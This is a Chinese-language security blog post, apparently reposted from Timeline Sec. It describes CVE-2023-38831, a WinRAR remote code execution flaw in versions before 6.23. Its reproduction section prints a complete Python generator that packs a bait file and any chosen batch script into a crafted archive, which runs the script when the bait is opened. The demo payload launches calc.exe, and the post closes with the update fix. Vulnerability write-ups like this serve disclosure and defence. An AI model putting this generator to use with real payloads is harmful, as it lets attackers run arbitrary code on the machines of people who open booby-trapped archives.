CVE-2023-38831:WinRAR远程代码执行漏洞

admin 2023年9月25日20:43:06评论72 views字数 2479阅读8分15秒阅读模式

关注我们❤️,添加星标🌟,一起学安全!
作者:E1gHt@Timeline Sec
本文字数:1107
阅读时长:2~4min
声明:仅供学习参考使用,请勿用作违法用途,否则后果自负

0x01 简介

WinRAR是一款文件压缩器。该产品支持RAR、ZIP等格式文件的压缩和解压等。WinRAR 在处理压缩包内同名的文件与文件夹时代码执行漏洞,攻击者构建由恶意文件与非恶意文件构成的特制压缩包文件,诱导受害者打开此文件后,将在受害者机器上执行任意代码。

0x02 漏洞概述

漏洞编号:CVE-2023-38831

WinRAR 是一款适用于 Windows 系统的压缩包管理器。WinRAR 6.2.3之前版本打开压缩文件时会调ShellExecute  函数匹配文件名,如果目标文件名与文件类型不匹配时则会执行目标文件中的批处理文件。攻击者可利用该漏洞构造恶意的压缩文件,其中包含具有恶意  payload 的文件和同名的文件夹,通过诱导用户打开压缩文件中的带有 payload 的恶意文件远程执行任意代码。

0x03 影响版本

RARLabs WinRAR< 6.23

0x04 环境搭建

安装存在漏洞的应用环境 http://www.winrar.com.cn/download-61164scp.html

CVE-2023-38831:WinRAR远程代码执行漏洞

CVE-2023-38831:WinRAR远程代码执行漏洞

0x05 漏洞复现

编写脚本:CVE-2023-38831.py

-*- coding: utf-8 -*-
import shutil
import os, sys
from os.path import join
TEMPLATE_NAME = "TEMPLATE"
OUTPUT_NAME = "CVE-2023-38831-poc.rar"

BAIT_NAME = "test.pdf"
SCRIPT_NAME = "script.bat"

if len(sys.argv) > 3:
    BAIT_NAME = os.path.basename(sys.argv[1])
    SCRIPT_NAME = os.path.basename(sys.argv[2])
    OUTPUT_NAME = os.path.basename(sys.argv[3])
elif len(sys.argv) == 2 and sys.argv[1] == "poc":
    pass
else:
    print("""Usage:
          python .cve-2023-38831-exp-gen.py poc
          python .cve-2023-38831-exp-gen.py <BAIT_NAME> <SCRIPT_NAME> <OUTPUT_NAME>"
"")
    sys.exit()

BAIT_EXT = b"." + bytes(BAIT_NAME.split(".")[-1], "utf-8")

print("BAIT_NAME:", BAIT_NAME)
print("SCRIPT_NAME:", SCRIPT_NAME)
print("OUTPUT_NAME:", OUTPUT_NAME)

if os.path.exists(TEMPLATE_NAME):
    shutil.rmtree(TEMPLATE_NAME)
os.mkdir(TEMPLATE_NAME)
d = join(TEMPLATE_NAME, BAIT_NAME + "A")
if not os.path.exists(d):
    os.mkdir(d)

shutil.copyfile(join(SCRIPT_NAME), join(d, BAIT_NAME+"A.cmd"))
shutil.copyfile(join(BAIT_NAME), join(TEMPLATE_NAME, BAIT_NAME+"B"))

# if os.path.exists(OUTPUT_NAME):
#     print("!!! dir %s exists, delete it first" %(OUTPUT_NAME))
#     sys.exit()

shutil.make_archive(TEMPLATE_NAME, 'zip', TEMPLATE_NAME)

with open(TEMPLATE_NAME + ".zip""rb") as f:
    content = f.read()
    content = content.replace(BAIT_EXT + b"A", BAIT_EXT + b" ")
    content = content.replace(BAIT_EXT + b"B", BAIT_EXT + b" ")

os.remove(TEMPLATE_NAME + ".zip")

with open(OUTPUT_NAME, "wb")  as f:
    f.write(content)

print("ok..")

script.bat内容如下

calc.exe

test.pdf内容随意,放入同一个文件夹中

CVE-2023-38831:WinRAR远程代码执行漏洞

用以上脚本将script.bat和test.pdf打包成一个带漏洞的RAR:poc.rar

执行python脚本

python3 CVE-2023-38831.py test.pdf script.bat poc.rar
CVE-2023-38831:WinRAR远程代码执行漏洞

用winrar打开poc.rar

CVE-2023-38831:WinRAR远程代码执行漏洞

成功执行命令

CVE-2023-38831:WinRAR远程代码执行漏洞

0x06 修复方式

更新WinRAR版本到6.23以上

参考链接

https://mp.weixin.qq.com/s/1Feg1PcSBwpg3Co9k_HzMA


推荐服务

CVE-2023-38831:WinRAR远程代码执行漏洞

历史漏洞

CVE-2023-40477
CVE-2021-35052

后台功能

回复【1】领取新人学习资料
回复【
2】进入漏洞查询功能
回复【
3】获取加群方式
回复【
4】领取安全电子书籍

回复5】进入SRC-QQ交流群


商务合作

Timeline Sec团队可合作项目清单

原文始发于微信公众号(Timeline Sec):CVE-2023-38831:WinRAR远程代码执行漏洞

  • 我的微信
  • 微信扫一扫
  • weinxin
  • 我的微信公众号
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年9月25日20:43:06
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   CVE-2023-38831:WinRAR远程代码执行漏洞https://cn-sec.com/archives/2067464.html

发表评论

匿名网友 填写信息